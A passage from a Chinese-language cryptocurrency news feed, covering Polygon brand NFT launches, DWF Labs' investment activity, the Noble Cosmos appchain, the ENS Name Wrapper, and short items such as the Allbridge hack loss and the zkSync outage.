NFT 市场，NFT 将在 Polygon 上铸造。 梅西百货，零售巨头（2021 年 11 月）： 在 Polygon 上推出以其标志性的感恩节游行气球为特色的 NFT 系列。 运动品牌安德玛、篮球巨星斯蒂芬·库里（2022 年 2 月）： 安德玛在 Polygon 上推出斯蒂芬·库里的 NFT 系列，以庆祝后者的三分球纪录。NFT 也可以在 Decentraland、Sandbox 等元宇宙平台虚拟化身上穿戴。 可口可乐（2022 年 6 月）： 在 Polygon 上与艺术家合作推出 136 款 NFT，以致敬该品牌的 136 年历史。 Nike（2022 年 11 月）： Nike Web3 平台 .SWOOSH 的用户可以在 Polygon 上注册一个“.Swoosh”域名。 育碧，游戏开发巨头（2023 年 2 月）： 在 Polygon 上发行其流行角色 Rabbids（衍生自经典游戏 Rayman）的 NFT，可在 Sandbox 中穿戴。 Square Enix，游戏开发巨头（2023 年 2 月）： 推出 NFT 游戏《Symbiogenesis》。 Aerie Canada Studio，加拿大游戏开发公司（2022 年 11 月）： 将其最受欢迎的手机游戏改造和迁移至 Polygon 上。 LINE Game，日本社交巨头 LINE 旗下的游戏开发公司（2022 年 8 月）： LINE Game 的 Web3 游戏部门 Nerdystar 筹集了 1100 万美元用于制作基于其 Web2 游戏品牌的区块链游戏。 该公司的第一款游戏《Desperado B218：The Scars of Exos》已通过 Nerdystar 的区块链游戏平台 Luxon 在 Polygon 上推出。 100 Thieves，电竞组织（2022 年 2 月）： 在 24 小时内免费赠送了 30 万个基于 Polygon 的 NFT。 Deadmau5，加拿大 DJ、音乐制作人（2022 年 11 月）： 在基于 Polygon 的元宇宙平台 Pixelynx 上推出 NFT 寻宝游戏。 华纳音乐集团，音乐唱片巨头（2022 年 12 月）： 与 Polygon 达成多年的合作伙伴关系，华纳音乐集团旗下歌手 Ed Sheeran 将通过基于 Polygon 的音乐 NFT 平台 LGND Music 发布音乐 NFT。 《国家地理》，美国国家地理学会的官方杂志（2023 年 1 月）： 在 Polygon 上推出基于其照片集的 NFT 系列。 Winamp，老牌媒体播放器（2022 年 12 月）： 增加了对基于 Polygon 的音乐 NFT 的播放支持。 乡村音乐协会（2021 年 11 月）： 在第 55 节乡村音乐协会（CMA）颁奖典礼上，发布了基于 Polygon 的 NFT 系列。 Zee Studios，印度娱乐巨头（2021 年 9 月）： 在 Polygon 上推出 NFT 系列。 Diplo，美国 DJ、音乐制作人（2022 年 3 月）： 曾获得格莱美奖的 DJ 音乐人 Diplo 在 Polygon 的 NFT 市场 Royal 上发行音乐 NFT 形式的新单曲。 Nas，美国说唱歌手（2022 年 1 月）： 在 Polygon 的 NFT 市场 Royal 上发行了 2 首以音乐 NFT 为形式的单曲。 《神秘博士》，英国科幻剧集（2021 年 9 月）： 与区块链游戏开发商 Reality Gaming Group 携手推出了一款基于 Polygon 的 NFT 卡牌游戏。 《查克拉：无敌》，印度超英电影（2021 年 12 月）： 由漫威创始人斯坦·李创作的《查克拉：无敌》在 Polygon 上推出 NFT 收藏品。 约翰·列侬，披头士乐队创始成员（2022 年 2 月）： 约翰·列侬的儿子与 NFT 票务平台 YellowHeart 合作拍卖了基于约翰的纪念品的 6 件 NFT。 派拉蒙影业，电影业巨头（2022 年 4 月、7 月）： 推出经典电影《星际迷航》、《壮志凌云》主题的 NFT 系列。 烟鬼组合，美国 DJ 二人组（2022 年 5 月）： 将专辑“So Far So Good”1% 的版税作为 NFT 在 Polygon 的 NFT 市场 Royal 上出售。 尼克儿童频道，美国儿童付费电视频道（2022 年 7 月）： 推出来自多个流行儿童节目的 NFT 系列。 Hello Kitty（2022 年 7 月）： 推出 10,000 个 Hello Kitty 主题 NFT，粉丝们可以通过完成挑战免费获得。 蓝精灵（2022 年 12 月）： 推出 NFT 系列，未来可用于游戏中。 蒙面唱将，美国流行娱乐节目（2023 年 2 月）： 推出忠诚度通行证 NFT，获得 NFT 的粉丝可以通过升级来解锁幕后内容。 普拉达 + 阿迪达斯（2022 年 1 月）： 合作在 Polygon 上启动 NFT 项目“Adidas for Prada re-source”。 纪梵希（2021 年 12 月）： 法国奢侈品品牌纪梵希与艺术家 Chito 合作创作了 15 个基于 Polygon 的 NFT 艺术品。 倩碧（2021 年 10 月）： 美国化妆品品牌倩碧允许购物者获得基于 Polygon 的 NFT。 妮维雅（2021 年 12 月）： 在 Polygon 上推出 NFT 系列“触觉的价值”，以讨论当前社会赋予触觉的价值。 蔻驰（2021 年 12 月）： 发布了 80 个基于 Polygon 的 NFT，以庆祝成立 80 周年。 Paco Rabanne，服装奢侈品牌（2022 年 4 月）： 基于过去 70 年中最具标志性的 12 件高级时装发行了可在 Decentraland 中穿戴的 NFT。 Mac 化妆品（2022 年 4 月）： 在 Polygon 上推出了 NFT 系列，在 NFT 市场 Opensea 上收取的二次销售费用，会捐给专注于艾滋病患者、儿童福利的 Keith Haring 基金会。 Scotch & Soda，荷兰服饰品牌（2022 年 9 月）： 推出基于 Polygon 的 NFT 忠诚度计划，为 NFT 持有者提供特别折扣、新品抢先体验和与品牌合作的机会。 美国时装设计师协会（2022 年 12 月）： 与蔻驰等品牌合作推出了基于 Polygon 的 NFT 系列。 美国国家橄榄球联盟（2021 年 11 月）： 通过在 Polygon 上推出“虚拟纪念票”来实验 NFT 票务。 利物浦足球俱乐部（2022 年 3 月）： 与基于 Polygon 的苏富比元宇宙平台合作推出 NFT 系列。 美国国家橄榄球联盟（2023 年 2 月）： 与 Reddit 合作，在 Polygon 上发行“超级碗 LVII”的收藏头像。 Sunil Gavaskar，印度板球传奇运动员（2021 年 11 月）： Sunil Gavaskar 在 Polygon 上推出“名人堂”NFT 系列，其中包含 Gavaskar 各种板球里程碑时刻和亮点。 Milkha Singh，已故印度田径运动员（2022 年 1 月）： 基于 Polygon 的 AtiusDAO 推出 Milkha Singh 的 NFT 系列。 《体育画报》，美国流行体育周刊（2022 年 2 月）： 在 Polygon 上推出美国国家橄榄球联盟名人堂成员的 NFT，灵感来源于其往期周刊封面。 ESPN，美国电视体育频道（2022 年 4 月）： 与基于 Polygon 的 NFT 平台 Autograph 联合推出橄榄球运动员 Tom Brady 的 NFT。 克利夫兰骑士，NBA 热门球队（2023 年 1 月）： 在 Polygon 上推出 NFT 系列，持有 NFT 的球迷可以获得专属福利，包括打球装备、场馆前排体验等。 名爵汽车-印度子公司（2021 年 12 月）： 在基于 Polygon 的 NFT 平台 ngageN 上推出 NFT 系列。 大众汽车-南非子公司（2022 年 3 月）： 赠送基于 Polygon 的 NFT 来庆祝新款 Polo 上市。 本田-讴歌（2022 年 3 月）： 在 Polygon 上推出限量 NFT，前 500 名订购 2023 款讴歌 Integra 的客户有机会领取。 大众汽车-巴西子公司（2022 年 4 月）： 推出“数字车库”和基于 Polygon 的大众汽车 NFT，爱好者可以体验、收集、交易。 起亚汽车-美国子公司（2022 年 7 月）： 观看广告的观众可以扫码领取起亚主题的 NFT，NFT 在 Polygon 上铸造。 宾利汽车（2022 年 9 月）： 在 Polygon 上推出数量仅 208 件的 NFT。 Ernst & Young，世界四大会计师事务所之一（2022 年 5 月）： 在 Polygon 上推出供应链跟踪服务。 德国世界野生动物基金会（2021 年 10 月）： 在 Polygon 上推出 NFT 系列，以筹集资金保护濒危动物。 西门子，德国第三大上市公司（2023 年 2 月）： 在 Polygon 上发行了第一笔价值 6400 万美元的数字债券。 世界自然基金会（2022 年 2 月）： 在 Polygon 上推出濒危动物主题 NFT，每笔销售额的 12.5% 将用于全球保护工作。 Katjes，成立于 1950 年的欧洲糖果公司（2022 年 5 月）： 在 Polygon 上推出 NFT 系列，为持有者提供独家会员资格、折扣和福利。 阿提哈德航空公司（2022 年 7 月）： 在 Polygon 上推出 NFT 系列，所有利润用于在 2022 年购买可持续航空燃料。持有人可获得专享特权，例如休息室使用权、优先登机。 唐纳德·特朗普（2022 年 12 月）： 在 Polygon 上推出 NFT 交易卡，持有者有机会赢得与特朗普的 Zoom 视频对话，或与特朗普本人共进晚餐。  ( 7 min )
    DOGE联合创始人：与项目已无关系，但持有少量DOGE
    PANews 4月2日消息，DOGE联合创始人Billy Markus针对加密社区的一些传言进行了澄清，Billy Markus表示，他已经离开DOGE项目9年了，目前与该项目没有任何关系，而且也不代表DOGE团队发言，但拥有少量的DOGE代币。针对加密社区希望他重新代表DOGE项目，Billy Markus表示到目前为止他唯一能代表的人就是他自己。  ( 1 min )
    Vitalik：ZK-EVM或将成为以太坊的第三种客户端
    PANews 4月2日消息，Vitalik在最新文章中表示，ZK-EVM长远来看不仅用于Rollup，也将用于验证 Layer 1的执行情况，ZK-EVM或将成为以太坊的第三种客户端。因而ZK-EVM如何与以太坊的多客户端理念进行交互值得探讨，Vitalik认为每个客户端在接受一个有效的块之前，都要等待一个与自己的实现兼容的证明。虽然牺牲了多客户端范例的一些好处，但在能够正式证明所有ZK-EVM实现彼此等价之前，此方法是理想的。但这种方法也存在区块延迟和数据效率低下等挑战，未来仍然需要做大量的工作。 相关阅读：Vitalik：ZK-EVM如何改变以太坊验证方式并成为第三种客户端？  ( 1 min )
    数据：Fantom基金会近一个月向Binance净转入950万枚FTM
    PANews 4月2日消息，据推特用户余烬监测显示，过去一个月Fantom基金会通过Fantom链钱包0xA0d，累计向Binance 转入2200万枚FTM，然后通过0xb5c钱包从以太坊链转出1250万枚FTM，向Binance净转入950万枚FTM。  ( 1 min )
    频频投资的DWF Labs是谁？「VC+做市商」，每月定投5个项目
    撰文：0x22D、Cookie，BlockBeats 近日，一家名为 DWF Labs 的机构频频掷出大额投资，引得市场关注。其实他们并非加密新兵，而是早已进入市场，但直到最近才开始高调地投资项目。 DWF Labs 将自己定位为「全球加密资产做市商与多阶段 Web3 投资公司」，是 Digital Wave Finance (DWF) 的附属公司，在新加坡、瑞士、英属维尔京群岛、阿联酋、韩国和中国香港设有办事处。DWF 是一家全球性的加密货币高频交易公司，自 2018 年开始，在 40 多个顶级交易平台进行现货和衍生品交易，位居全球加密货币交易量前 5 名。 DWF Labs 管理合伙人 Andrei Grachev 在接受采访时表示，目前动荡的市场正是进入投资领域的最佳时机，且他们已从利润中积累了足够的资金来投资项目。大多数情况下，DWF Labs 通过直接购买 Token 的形式对项目进行投资。目前其投资组合中已有 104 个项目，几乎涵盖了 Web3 的全部垂直领域。 每月至少投资 5 个项目，DWF Labs 的投资理念 DWF Labs 在官网中表示，「无论市场状况如何，DWF Labs 平均每月都要投资 5 个项目」，作为以做市和高频交易为主营业务的公司，他们是如何选择这么多项目的？ 目前 DWF Labs 的投资组合中有超过 100 个项目，且具有相当高的多样性，从区块链基础设施、DeFi、NFT、链游到 DAO、去中心化社交、数据分析、隐私、娱乐，很难找到一个非常大的投资重点。这并非只是对分散投资思维的贯彻，对 DWF Labs 来说，投资组合的多元化也是一种涉足所有垂直领域，保持领先地位并适应市场需求的一种方式。 在官网的介绍中，DWF Labs 表示正在寻求投资和支持想要打造 Web3 未来的大胆创始人，可提供咨询、流动性供应、网络安全、智能合约审计、债务融资、资金管理方面的帮助，并可以与其在不同垂直领域的众多合作伙伴建立联系。 在确定一次投资前，DWF Labs 会先进行关于项目基本信息的事实调察，然后由分析师进行更深入的尽职调查，最后还会由其设计的预测算法计算项目的成功机会，将结果与此前步骤中收集的意见进行综合评估。 DWF Labs 致力于引导其投资组合中项目的合作，引发新的化学反应。例如，2022 年 Orbs Protocol 就曾与 TON 展开大规模合作，为 TON 开发了多个 Layer3 App，如 TON-Access、TON Minter 和 TON Verifier。今年，Orbs Protocol 更是成为了两场 TON 黑客松的主要赞助商。 DWF Labs 管理合伙人 Andrei Grachev 早年任职于有着「俄罗斯京东」之称的电商平台 Ulmart，2017 年投身加密市场，在莫斯科成立了一家名为 Crypsis Blockchain Holding 的机构，于 2018 年 5 月加入俄罗斯加密经济学、人工智能和区块链协会（RACIB）担任交易副主管，2018 年 9 月出任 Huobi Russia CEO，同年 12 月加入 DWF Labs。 Andrei Grachev 在接受采访时表示，加密市场可分为美国市场和美国以外的市场，他们则主要专注于亚洲市场，在其官网中也可以看到许多亚洲面孔。 合伙人 Heng Yu Lee 曾任职于摩根大通，离开摩根大通后在新加坡成立了一家名为 GROUP8 的网络安全和情报公司，得到著名人工智能、信息安全和防务行业资深人士的支持，2022 年 5 月加入 DWF Labs。 合伙人 Zac Zou 曾任职于中国港湾工程有限公司，2018 年 8 月加入 OKEx 担任区域商务经理，专注于越南、印度、俄罗斯市场，2022 年 6 月加入 DWF Labs。 2023 年 3 月 29 日，Fetch.ai 宣布获得来自 DWF Labs 的 4000 万美元投资，该笔投资将用于支持 Fetch.ai 平台上自治代理、网络基础设施与去中心化机器学习三方面的开发与部署。 Fetch.ai 成立于 2017 年，是一个主打 AI 应用的公链。2019 年，Fetch.ai 的 Token $FET 登上了 Binance Launchpad，在 22 秒内售出了约 6920 万枚 $FET，筹集到约 600 万美元。 Fetch.ai 生态系统内的应用包括数据与 AI 模型市场 CoLearn、 企业级隐私保护 AI 数据分析应用 Axim、引入现实世界抵押品的 DeFi 协议 Atomix、低碳出行 to Earn 应用 Mobix、汽车行业数据共享网络 Catena-X、去中心化社交网络 Resonate 以及 Cosmos 钱包 Leap Wallet 等。 2023 年 3 月 17 日，Synthetix 财政部委员会通过电子邮件宣布，DWF Labs 于 3 月 16 日购买了价值 1500 万美元的 Synthetix 原生代币 $SNX，随后将进一步购买 500 万美元。同一天，根据 DWF Labs 官推发布的信息，DWF Labs 与 Synthetix 财政委员会达成了协议，将在中心化与去中心化交易平台为 SNX 提供流动性与做市商服务。DWF Labs 承诺以多种方式成为 Synthetix 协议成员，包括：集成与交易 Synthetix 永续合约、在 Epoch 选举期间参与 SNX 治理、参与社区与产品交流。 Synthetix 是一个去中心化流动性层，基于 Ethereum 和 Optimism，为 DeFi 中一些最令人兴奋的协议提供流动性后端支持。质押者提供流动性，用以担保一系列合成资产，并因此获得奖励和市场收益。这种流动性为合成资产和永续期货的交易提供了预言机价格的保证，消除了对传统订单簿和交易对手方的需求。因此，流动性在市场之间变得可组合和可替代，且传统的滑点得以消除。 Synthetix V3 将在未来几个月内分阶段推出，用户将从现有的 V2X 系统慢慢过渡到 V3。 2023 年 3 月 2 日，DWF Labs 宣布对基于 EVM 的 Layer 1 区块链 Flare 进行了投资，投资的具体金额未披露。 Flare 有 State Connector 与 Flare Time Series Oracle 两个核心协议。State Connector 通过一组独立的证明提供者从其它区块链获取信息并转交给 Flare Network，State Connector 的智能合约将检查响应的一致性来决定所获取信息的有效性。Flare Time Series Oracle 依靠一组独立的数据提供商，从外部数据来源检索价格对的信息。通过质押 $FLR 可以为某个外部数据源进行加权，最有效的外部数据提供商将与为其提供加权的 $FLR 质押者共享奖励。通过 State Connector 与 Flare Time Series Oracle，Flare Network 允许来自其他链和 Web2 API 的信息在 Flare 上安全且无需信任地使用，并在不依赖中心化数据提供商的情况下向 dApp 提供高度分散的价格和数据系列。 DWF Labs 在 2022 年 12 月 30 日宣布了对 Coin98 的投资，投资的具体金额未披露。在更早的时候，去年的 1 月 5 日，Binance Labs 宣布战略投资 Coin98。 Coin98 是领先的 DeFi 一站式平台，旗下包括 Coin98 钱包、Coin98 交易平台、Space Gate 跨链桥接服务等。截止 2022 年末，Coin98 的用户数量突破 500 万，总成交量突破 7 亿 5 千万美元。在 2022 年，Coin98 还发行了自己的稳定币 $CUSD。 2023 年 2 月 17 日，据 Tech in Asia 报道，链游公会 Yield Guild Games（YGG）已通过出售 Token 募集到 1380 万美元资金，DWF Labs 和 a16z 领投。YGG 联合创始人 Gabby Dizon 透露，YGG 将利用这笔新资金进一步开发其灵魂绑定声誉 Token。 YGG 是全球最大的区块链游戏公会之一。截止 2022 年底，YGG 拥有 80 多个游戏和基础设施合作伙伴，并且在 SubDAO 与电竞方面有了长足发展。 2022 年 11 月 17 日，DWF Labs 宣布承诺拨款 1000 万美元支持 TON 生态系统。未来 12 个月内，DWF Labs 还计划进行总共 50 次种子轮投资，旨在加速 TON 及其项目的增长。 TON 是 Telegram Messenger 团队于 2018 年开发的 Layer 1 区块链解决方案，$TON 是该链的原生 token，主要用于支付交易费用，并作为验证器的保证金确保网络安全。 2022 年 9 月 16 日，Conflux 获得 Web3 风投机构 DWF Labs 战略投资，具体融资金额未披露。 Conflux 是中国唯一合规、公开、免许可的区块链。 2023 年 1 月 19 日，Web3 投资公司 DWF Labs 宣布与 Mask Network 进行战略投资和合作，通过购买价值 500 万美元的 MASK Token 进行了投资，该投资将用于支持去中心化社交网络和整个 Mask Network 生态系统的持续建设，使 Web3 更易于访问。 Mask 致力于保护数据隐私，搭建 Web 2.0 和 Web 3.0 之间的最佳桥梁。通过浏览器扩展，Mask 引入了一个由 30 多个流行的 Web 3.0 dApp/功能组成的生态系统，可以在现有的 Web 2.0 网站（如 Twitter 和 Facebook）上无缝运行。 2023 年 3 月 23 日，Layer1 公链 Radix 宣布完成 1000 万美元融资，本轮融资完全由 DWF Labs 支持，投后估值达到 4 亿美元。Radix 首席执行官 Piers Ridyard 表示，DWF 已经提供了 800 万美元的资金，剩下的 200 万美元将在不久的将来提供。此前，Radix 在 2021 年完成了 1270 万美元的融资，并与同年向社区发行了 XRD Token。 Radix 在 2013 年以区块链研究项目的形式启动，在 2017 年该项目公司化，并持续开发至今。2013-2017 年间，该项目从社区募集到了 3000 枚比特币。Radix 首席执行官 Piers Ridyard 表示，不想重复现有技术是该项目的研究周期长达接近 10 年的原因，Radix 将拥有自己独特的共识系统、执行环境以及编程语言，并且 Radix 的编程语言「Scrypto」会比 Solidity「更易用」。 Radix 预计将于今年第二季度推出名为 Babylon 的主网。Piers Ridyard 表示，已有超过 50 个项目致力于在 Radix 上构建应用，类型从 DeFi 到 NFT 市场均有涉猎。Radix 于 2021 年 7 月曾推出 Olympia 主网，但该 Olympia 主网只支持用户在网络上创建钱包与转移/质押 $XRD。Babylon 主网将作为 Radix 技术栈的最终版本发行，用户届时将得以获得众多 dApp 带来的完整使用体验。 2023 年 3 月 22 日，据 Cointelegraph 报道，另类（非传统）互联网开发商 tomi 完成 4000 万美元融资，DWF Labs、Ticker Capital、Piha Equities 以及日本加密投资者 Hirokado Kohji 领投。据悉，tomi 于 2022 年作为去中心化云计算网络启动，旨在创建一个由去中心化自治组织（DAO）管理的互联网版本（去中心化数字资产与云服务/抗审查）。tomiDAO 的任务是网络治理，包括对代码更改提案进行投票，并就管理违反社区准则的内容达成共识。 2023 年 3 月 14 日，加密基础设施开发商 Orbs 计划从风投机构 DWF Labs 筹集 1000 万美元。Orbs 表示，DWF Labs 将购买价值高达 1000 万美元的 Orbs Token。Orbs 首席执行官 Nadav Shemesh 表示，总投资的第一部分于今日结算。他补充说，其余的投资将「按平均价格计算」。Orbs 成立于 2017 年，产品定位是「Layer 1 / Layer 2 解决方案与应用层之间的独立执行层」。Orbs 计划利用该笔融资继续开发其基础设施，以提升 Orbs 在 EVM 链和 TON 上的采用率。 2023 年 2 月 23 日，隐私技术初创公司 Beldex 完成 2500 万美元融资，数字资产做市商和投资公司 DWF Labs 投资并与其建立合作伙伴关系，这些资金将有助于推动 Beldex 生态系统的研发，而 DWF 将担任顾问并帮助开展营销活动。Beldex 生态系统包括私人消息传递应用程序 BChat、去中心化虚拟专用网络 (VPN) BelNet、Web3 浏览器 Beldex 和跨链隐私协议 Beldex，它使跨链资产移动匿名化。  ( 6 min )
    PeckShield：跨链桥Allbridge安全事件导致约57万美元损失
    PANews 4月2日消息，据派盾（PeckShield）监测显示，跨链桥Allbridge遭黑客攻击，损失约57万美元（包含约28万枚BUSD和约29万枚USDT）。根本原因似乎是资金池的Swap价格被操纵。黑客扮演流动性提供者和交易者的双重角色，耗尽池中的资金。 此前消息，Allbridge正在调查BNB Chain资产池现状，跨链桥已暂时关闭。  ( 1 min )
    Dune发布大语言模型路线图，引入查询解释功能并集成GPT-4
    PANews 4月2日消息，区块链分析平台Dune在社区中发布大语言模型（LLM）路线图，已推出第一个LLM功能，并为用户准备全套LLM功能与集成。Dune已发布查询解释（Query Explanations），并集成ChatGPT4，用户可点击按钮来显示任何查询的自然语言解释，简化SQL查询。此外，Dune支持使用LLM进行自然语言查询，用户可使用英语提出问题并查询Dune数据集，而无需任何SQL知识。  ( 1 min )
    NFT系列Mocaverse将于下周调整质押窗口
    PANews 4月2日消息，Animoca Brands旗下NFT系列Mocaverse推特发文称，将从北京时间4月3日晚上9点开始调整质押窗口。新窗口为北京时间每周一的晚上9点到下一个周一的晚上8:59。从现在到北京时间4月3日晚上8:59，可向冷钱包转账。此外，Mocaverse还宣布下周将为在一个钱包中持有多个Mocas的用户推出“助推器”XP Booster服务，持有不同数量Mocas的用户将得到对应级别的奖励。  ( 1 min )
    Allbridge：正在调查BNB Chain资产池现状，跨链桥已暂时关闭
    PANews 4月2日消息，跨链桥Allbridge推特发文称，正在调查BNB Chain资产池现状。在调查期间，跨链桥已被暂时关闭。  ( 1 min )
    数据：一巨鲸将超过9000枚ETH存入NFT市场Blur并交易CryptoPunks
    PANews 4月2日消息，链上分析师@Lookonchain推特发文称，一个“0x3Ac7”开头的巨鲸地址已将9025.5 ETH存入NFT市场Blur，价值约合1640万美元。随后该巨鲸开始在Blur平台上购买和出售CryptoPunks以赚取获得空投代币机会的积分。  ( 1 min )
    Noble：为原生通用资产和RWA发行而生的Cosmos基础设施
    原文：《Friends are Forever: What is Noble?》by Sooper 编译：深潮 TechFlow Noble 是一种应用程序特定区块链（Appchain），专为 Cosmos 生态系统中原生资产发行而设计。这意味着 Cosmos 可以直接在 Noble Appchain 上铸造和销毁资产，不再被迫依赖令牌桥将非本地资产引入其生态系统。 Noble Appchain 于 3 月 27 日上线，旨在成为「互操作性数字资产的世界级发行中心」。在 Noble 上不仅限于加密资产的发行，还可以将现实世界资产（RWA）进行代币化和发行。 问题 数据表明，特别是非本地资产上市的新列表会吸引更多用户和流动性进入 Cosmos。用户必须建立桥接来处理非本地资产，但是桥接通常只有在资金充足时才能发挥高效作用。大量的资金转移可能导致严重滑点，并且持有桥接资产的用户/协议完全依赖其桥接的安全性。 大多数非原生资产并没有列在 Cosmos 的桥上，限制了流动性的潜力，并对每个 Appchain 上的 Cosmonauts 造成影响。 这在原生稳定币流动性方面尤其如此，Cosmos 在 Terra $UST 崩溃后受到了巨大打击。像 $USDC、 $wETH、 $wBTC 和 $DAI 这样的代币都是非原生/桥接资产，占据着 Osmosis 大部分流动性，并在产生大部分费用的池中发挥作用。但这些资产背后的发行人没有一种简单的方法来在 Cosmos 上原生部署。 目标 Noble 通过其「发行特定」的区块链彻底改变了 Cosmos 对桥接流动性的依赖。协议和公司可以使用所有区块链开发者熟悉的标准框架轻松地在 Noble 上部署其代币，而在 Noble 上发行的代币可以无缝地在 IBC 生态系统中传输。 Noble 的基础设施为资产发行人提供了完全的控制权，因此像 Circle 和 Tether 这样的公司可以保持其通常的合规模式。Noble 构建的这个「网关」将极大地改善 IBC 本地流动性，特别是稳定币。 Noble 的 Appchain 是任何类型的发行人的超级便捷途径，包括寻求发行现实世界资产（RWA）的机构。Noble 在企业采用 Cosmos 中扮演的角色似乎是不可避免的。 Noble 使用 Cosmos SDK 构建，这是一个用于构建在 Tendermint 共识引擎上运行的自定义应用程序特定区块链（Appchain）的工具包。Noble 的 Appchain 专门用于部署代币合约和发行数字资产。 此外，Noble 支持 IBC，因此可以连接到 Cosmos 中的 50 多个其他 IBC Appchain。该网络使用「数据包转发」中间件（与 Osmosis 最近的 v15 升级版本相同），以允许单事务 IBC 转移至任何 Appchain。这极大地改善了 IBC 转移的用户体验，用户不再需要在多个 Appchain 之间进行交易才能到达目的地。 Noble 原计划与 Interchain Security 一起推出，但团队决定等待 ICS 经过时间考验后再在 Noble 上采用。Interchain Security 是共识基础设施，允许 IBC Appchain「租用」Cosmos Hub 验证器来保护其链（而不是使用自己的验证器集）。对 ICS 的担忧主要集中在削减不是自动的，而是由 Hub 治理批准的投票。 与此同时，Noble 将使用权威证明（PoA）共识机制。为了使 PoA 成为 ICS 之前的最佳替代方案，已选择多个值得信赖的 Hub 验证器进行 PoA 验证器集。行为不当的验证器将被永久从 Noble 验证器集中删除。Cosmos 社区组织的 5/7 多重签名也将能够向链推送更新（可以由验证器的 1/3+投票拒绝）。 Gas 费用可以用任何 Cosmos 资产支付，包括在 Noble 上发行的资产。由于 $USDC 将是第一个推出的代币，因此它将成为主要的 Gas 代币，直到更多的资产在 Noble 上部署。 新资产通过 5/7 多重签名投票加入链中。发行人可以使用 Osmosis 提供的方便的 TokenFactory 框架轻松地在 Noble 上部署其代币。TokenFactory 让所有发行人都可以按照自己的标准自定义控制其资产。 在 Noble 上既可以发行加密货币资产，也可以发行代币化的现实世界资产（RWAs）。这使得 Noble 成为有史以来专门设计用于广义资产发行的第一个基础设施，可能引起像银行这样的机构的兴趣。RWAs 对传统市场具有很多潜在的好处，例如降低成本、提高交易速度、增加透明度、分形所有权、使市场更易于访问等，在经济合作与发展组织 2020 年的一篇文章（PDF）中有很好的阐述。 合作伙伴 通过 IBC，Noble 可以连接到其他数十个支持 IBC 的 Cosmos Appchain。 Circle 是第一个在 Noble 上推出其$USDC 稳定币本地发行的发行人，再加上 Circle 的互操作性协议，这可能会为 IBC 生态系统带来大量新的稳定币流动性。 Noble 团队已确认正在与其他资产发行人进行谈判，包括 RWA 发行人。 Frax Finance 的创始人也提到了与 Noble 的谈话，这将为 Cosmonauts 提供一种新的去中心化稳定币选择，并为$FRAX 持有者提供进入 IBC 生态系统的通道。 1. Noble 团队由 Cosmos 中最受尊敬的人才（Zaki、Jelena、Jack、Stefan）组成。 2. 技术开发和推广目前由 Strangelove 指导，这是一个在无数有影响力的 IBC 创新背后的建设者组织。 3. Noble 正在建立一支内部技术团队来管理链的开发和维护，并将继续与 Strangelove 保持正式合作关系。 $FRNZ 代币将由 Noble 发行，专门用于兑换一种实物。它并不意味着是 Noble 的原生代币，而是旨在展示该链的功能，并为 Noble 独特地产生热情。 总供应量非常少，因此每个 $FRNZ 代币可分为 100 万个「microfrienzies」。 4 月 3 日，将向 3 月 27 日快照中 10 个链上的用户空投 300 枚$FRNZ 代币，或 3 亿 microfrienzies。 Noble 将在 Osmosis、Kujira、Wynd 和 Crescent 提供 100 枚$FRNZ 代币作为流动性，并保留 100 枚 $FRNZ 代币作为「杂项储备」，用于分发给更广泛的 Cosmos 社区、补充$FRNZ 的流动性等。 1 枚$FRNZ 代币可以兑换一件 Noble 实体手链，任何人都可以烧毁 50,000 个 Microfrienzies 来获得 Stargaze 上可用的特殊 Noble NFT 的白名单。手链兑换将通过 Juno 上的 Swift Protocol 进行。 Noble 的通用资产发行链对于 Cosmos 生态系统来说是重要的一步。每个 Appchain 上的 Cosmonauts 都可以开始享受更多的 IBC 原生流动性，这是 Noble 带来的好处。 不仅如此，Noble 还可以成长为区块链机构和企业采用的一个重要方面。它的潜力无限，而且所有这些都是建立在 Cosmos 之上。  ( 3 min )
    马斯克要求法官驳回狗狗币投资者对其提起的2580亿美元集体诉讼
    PANews 4月2日消息，据路透社报道，马斯克周五要求美国法官驳回狗狗币投资者对其提起的2580亿美元集体诉讼。在向曼哈顿联邦法院提交的一份文件中，马斯克及特斯拉律师称，狗狗币投资者对马斯克“无伤大雅且经常是愚蠢的推文”提起的诉讼是一部“幻想小说”。律师表示，投资者从未解释马斯克如何进行欺诈，或者他隐瞒了什么风险。马斯克的“狗狗币 Rulz”和“没有高点，没有低点，只有DOGE”等发言过于模糊，无法支撑欺诈指控。在一份脚注中，律师还驳回了投资者关于狗狗币符合证券资格的说法。据此前消息，投资者指控马斯克实施金字塔骗局，在两年内故意将狗狗币的价格推高了360倍以上，然后让它崩盘。  ( 1 min )
    zkSync：数据库故障导致宕机，去中心化是唯一的长期解决方案
    PANews 4月2日消息，据官方消息，zkSync团队在推特公布了宕机原因。由于区块队列数据库发生故障，导致出块停止。尽管如此，服务器API未受到影响。交易继续被添加到内存池，查询服务正常。尽管所有组件都有全面的监控、日志记录和警报，但由于API正常运行，所以没有触发警报。事故发生时，整个团队都不在线。修复在5分钟内实现。为解决类似问题，zkSync赋予数据库监控代理一个特殊角色，使它们能够连接到数据库并持续收集指标。与此同时，团队引入了警报机制，当数据库监控代理发生故障或无法与数据库建立连接时将发出警报。此外，如果事态严重升级，随时待命的团队会通过多个渠道立刻获得通知。但唯一的长期解决方案是去中心化。  ( 1 min )

  • Open

    ENS 域名封装是什么？为何如此重要？
    Chainfeeds 导读： 4 月 1 日 ENS 已将 NameWrapper 合约部署到主网，尚需 DAO 投票激活。ENS 的域名封装（ENS Name Wrapper）功能被视为 ENS 大规模采用和变革 Web3 的关键改进，有希望在两周后在主网上线。Foresight News 研究员 Karen 撰文介绍 ENS 域名封装功能究竟是什么？为何如此重要？ 文章来源： https://foresightnews.pro/article/detail/23811 文章作者： Karen Zhang（Foresight News） 观点： Karen Zhang（Foresight News）：ENS 域名封装是什么？该封装功能允许将现有任意级别的 ENS 域名封装为 ERC-1155 代币，子域名可以作为单独的 NFT 存储，并允许父域名对子域名进行更精细的管理控制，该封装功能还支持释放和锁定域名，并可以撤销对域名的其他权限。ENS 团队已经将 eth 的密钥交给公共合约，因此父域名持有者可以通过设置子域名到期时间和销毁 fuse 来放弃对子域名的控制。 内容来源 Karen Zhang（Foresight News）：ENS 域名封装为何如此重要？它能够帮助域名持有者在管理和控制子域名时更加高效和低成本。通过将域名封装为 ERC-1155，可以让子域名具有更大的灵活性和自主权。对于 Web2 和 Web3 公司和项目，域名封装功能能够让他们更好地管理和配置子域名，并可以为其用户提供更多应用场景和效用。此外，子域名交易、租借等场景也可能会展开。因此，我们有理由相信，ENS 域名封装功能将为 Web3 的大规模采用增加更多的想象空间。 内容来源 Karen Zhang（Foresight 